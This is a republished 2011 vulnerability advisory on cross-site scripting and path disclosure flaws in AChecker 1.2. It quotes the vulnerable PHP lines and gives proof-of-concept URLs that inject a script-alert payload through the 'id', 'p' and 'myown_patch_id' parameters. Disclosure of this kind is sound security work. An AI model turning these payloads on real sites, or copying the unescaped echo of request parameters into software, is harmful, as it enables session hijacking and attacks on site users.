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ATutor AChecker 1.2 Cross Site Scripting / Path Disclosure

🗓️ 06 Aug 2011 00:00:00Reported by LiquidWormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 39 Views

AChecker 1.2 Cross Site Scripting & Path Disclosure Vulnerabilitie

Code
`  
AChecker 1.2 Multiple Remote XSS/PD Vulnerabilities  
  
  
Vendor: ATutor (Inclusive Design Institute)  
Product web page: http://www.atutor.ca  
Affected version: 1.2 (build r530)  
  
Summary: AChecker is an open source Web accessibility evaluation tool.  
It can be used to review the accessibility of Web pages based on a variety  
international accessibility guidelines.  
  
Desc: AChecker suffers from multiple cross-site scripting and path disclosure  
vulnerabilities. Input thru the GET parameters 'id', 'p' and 'myown_patch_id'  
in several scripts is not sanitized allowing the attacker to execute HTML code  
into user's browser session on the affected site and/or disclose the full path  
of application's residence ;].  
  
  
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
  
- Parameter: id  
- Type: GET  
- Script: language_add_edit.tmpl.php  
- Vulnerable code:  
----------------------------------------------------  
/themes/default/language/language_add_edit.tmpl.php:  
----------------------------------------------------  
  
Line 20: <form name="input_form" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?><?php if (isset($_GET["id"])) echo '?id='.$_GET["id"]; ?>" >  
  
----------------------------------------------------  
  
- PoC: http://localhost/themes/default/language/language_add_edit.tmpl.php?id=210"><script>alert('zsl')</script>  
  
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
  
- Parameter: p  
- Type: GET  
- Script: frame_header.php  
- Vulnerable code:  
----------------------------------------------------  
/documentation/frame_header.php:  
----------------------------------------------------  
  
Line 17: if (isset($_GET['p'])) {  
Line 18: $this_page = htmlentities($_GET['p']);  
Line 19: } else {  
Line 20: exit;  
Line 21: }  
  
----------------------------------------------------  
  
- PoC: http://localhost/documentation/frame_header.php?p="><script>alert('zsl')</script>  
  
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
  
- Parameter: id  
- Type: GET  
- Script: user_group_create_edit.tmpl.php  
- Vulnerable code:  
----------------------------------------------------  
/themes/default/user/user_group_create_edit.tmpl.php:  
----------------------------------------------------  
  
Line 20: <form name="input_form" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?><?php if (isset($_GET["id"])) echo '?id='.$_GET["id"]; ?>" >  
  
----------------------------------------------------  
  
- PoC: http://localhost/themes/default/user/user_group_create_edit.tmpl.php?id=188"><script>alert('zsl')</script>  
  
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
  
- Parameter: myown_patch_id  
- Type: GET  
- Script: patch_edit.php  
- Vulnerable code:  
----------------------------------------------------  
/updater/patch_edit.php:  
----------------------------------------------------  
  
Line 20: if (!isset($_REQUEST["myown_patch_id"]))  
Line 21: {  
Line 22: $msg->addError('NO_ITEM_SELECTED');  
Line 23: exit;  
Line 24: }  
Line 25:   
Line 26: $myown_patch_id = $_REQUEST["myown_patch_id"];  
  
----------------------------------------------------  
  
- PoC: http://localhost/updater/patch_edit.php?lang=144&myown_patch_id=144"><script>alert('zsl')</script>  
  
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
  
- Parameter: id  
- Type: GET  
- Script: user_create_edit.php  
- Vulnerable code:  
----------------------------------------------------  
/user/user_create_edit.php:  
----------------------------------------------------  
  
Line 103: if (isset($_GET['id'])) // edit existing user  
Line 104: {  
Line 105: $usersDAO = new UsersDAO();  
Line 106: $savant->assign('user_row', $usersDAO->getUserByID($_GET['id']));  
Line 107: $savant->assign('show_password', false);  
Line 108:   
Line 109: }  
  
----------------------------------------------------  
  
- PoC: http://localhost/user/user_create_edit.php?id=78"><script>alert('zsl')</script>  
  
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
  
  
  
Tested on: Microsoft Windows XP Professional SP3 (EN)  
Apache 2.2.14 (Win32)  
PHP 5.3.1  
MySQL 5.1.41  
  
  
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
Zero Science Lab - http://www.zeroscience.mk  
  
  
Advisory ID: ZSL-2011-5035  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5035.php  
  
  
01.08.2011  
  
  
t00t!  
`

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